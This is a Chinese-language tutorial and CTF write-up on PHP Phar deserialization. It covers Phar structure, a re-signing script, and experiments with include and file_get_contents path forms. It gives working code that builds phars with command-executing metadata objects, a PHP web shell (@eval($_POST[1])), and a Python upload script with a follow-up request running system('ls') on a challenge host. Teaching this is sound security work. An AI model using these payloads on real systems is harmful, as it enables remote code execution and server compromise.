Phar基础
Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data
。以扩展反序列化漏洞的攻击面,配合phar://
协议使用。
Phar文件结构
a stub
是一个文件标志,格式为 :xxx<?php xxx;__HALT_COMPILER();?>
。
manifest
是被压缩的文件的属性等放在这里,这部分是以序列化存储的,是主要的攻击点。
contents
是被压缩的内容。
signature
签名,放在文件末尾。
就是这个文件由四部分组成,每种文件都是有它独特的一种文件格式的,有首有尾。而__HALT_COMPILER();
就是相当于图片中的文件头的功能,没有它,图片无法解析,同样的,没有文件头,php识别不出来它是phar文件,也就无法起作用。
关于签名
当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名
更换签名的脚本
1 2 3 4 5 6 7 8
| from hashlib import sha1 with open('my.phar', 'rb') as file: f = file.read() s = f[:-28] h = f[-8:] newf = s + sha1(s).digest() + h with open('new.phar', 'wb') as file: file.write(newf)
|
生成phar文件
首先需要修改php.ini中的配置
将phar.readonly
设置为Off
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class shell{ public $code='system("whoami");'; } $phar=new phar('my.phar'); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>"); $obj=new shell(); $phar->setMetadata($obj); $phar->addFromString("flag.txt","<?php echo 'executed file content';?>");
$phar->stopBuffering(); ?>
|
1 2 3 4 5 6 7 8 9 10 11
| <?php class shell{ public $code='system("whoami");'; } $h = new shell(); $phar = new Phar("my.phar"); $phar->buildFromDirectory("./projects"); $phar->setMetadata($h); $phar->setStub($phar->createDefaultStub("shell.txt","shell.txt"));
?>
|
有效的包含函数
buffer生成phar的包含尝试
接下来进行一些实验
my.phar
include
1 2 3 4 5 6 7 8 9
| <?php class shell { public $code; public function __destruct() { eval($this->code); } } include "phar://my.phar/flag.txt"; ?>
|
1 2
| executed file content m4o9
|
结论:flag.txt被包含执行; 反序列化成功
如果不指定flag.txt 即只包含phar://my.phar
则仅仅进行反序列化
几种路径写法的可行性
1 2 3 4 5 6 7 8 9 10 11
| my.phar: phar://my.phar phar://my.phar/flag.txt my.phar my: my (不可) phar://my (不可) my.jpg(任意后缀都可以): phar://my.jpg phar://my.jpg/flag.txt my.jpg (不可)
|
结论: phar后缀可以不加协议头 非phar后缀需加协议头 无后缀不可 (buffer方式生成的phar)
file_get_contents
1
| file_get_contents("phar://my.phar/flag.txt");
|
只有这样可以 不加flag.txt 不加协议头都不识别 并且不执行flag.txt内容 只进行反序列化
1 2 3 4 5 6
| my.phar: phar://my.phar/flag.txt my: phar://my/flag.txt (不可) my.jpg(任意后缀都可以): phar://my.jpg/flag.txt
|
文件夹打包方式生成phar的包含尝试
1 2 3 4 5 6 7 8 9 10 11
| <?php class shell{ public $code='system("whoami");'; } $h = new shell(); $phar = new Phar("my.phar"); $phar->buildFromDirectory("./projects"); $phar->setMetadata($h); $phar->setStub($phar->createDefaultStub("shell.txt","shell.txt"));
?>
|
这种方式生成的phar文件略大, 其stub头还包含一些其他内容
include
包含的结果是
1 2 3 4 5 6 7 8 9 10 11
| my.phar: phar://my.phar phar://my.phar/flag.txt my.phar my: my phar://my (不可) my.jpg(任意后缀都可以): phar://my.jpg phar://my.jpg/flag.txt my.jpg
|
file_get_contents
包含的结果同buffer生成的结果一样 必须指定文件
总结: 对于include
来说 此方式生成phar的文件比buffer生成的利用条件更加宽松 只要包含成功就会执行文件中内容,即使没有指定flag.txt
此外,并不是所有的可用函数都像file_get_contents这样严格
比如is_dir
就对phar://my.phar
这种不加文件的方式生效。各种函数有效利用方式还需要自己尝试
几个题目
文件包含
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php error_reporting(0); highlight_file(__FILE__); $file = $_POST['file']; $content = $_POST['content'];
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){ if(file_exists($file.'.txt')){ include $file.'.txt'; }else{ file_put_contents($file,$content); } }
|
phar生成:
1 2 3 4 5
| <?php $phar = new Phar("exp.phar"); $phar->buildFromDirectory("./projects"); $phar->setStub($phar->createDefaultStub("shell.txt","shell.txt")); ?>
|
shell.txt内容
1 2 3
| <?php @eval($_POST[1]); ?>
|
python脚本发送post请求 上传phar文件
1 2 3 4 5 6 7 8 9 10 11
| import requests
url = 'http://6b5b5791-990c-4a23-8a9d-f141307c4a0f.challenges.ctfer.com:8080/' content = b'' with open("exp.phar", "rb") as f: content = f.read() data = { 'file': "exp.phar", 'content': content } resp = requests.post(url=url, data=data)
|
上传成功后实现代码执行
1
| file=phar://exp.phar/shell&content=xxx&1=system('ls');
|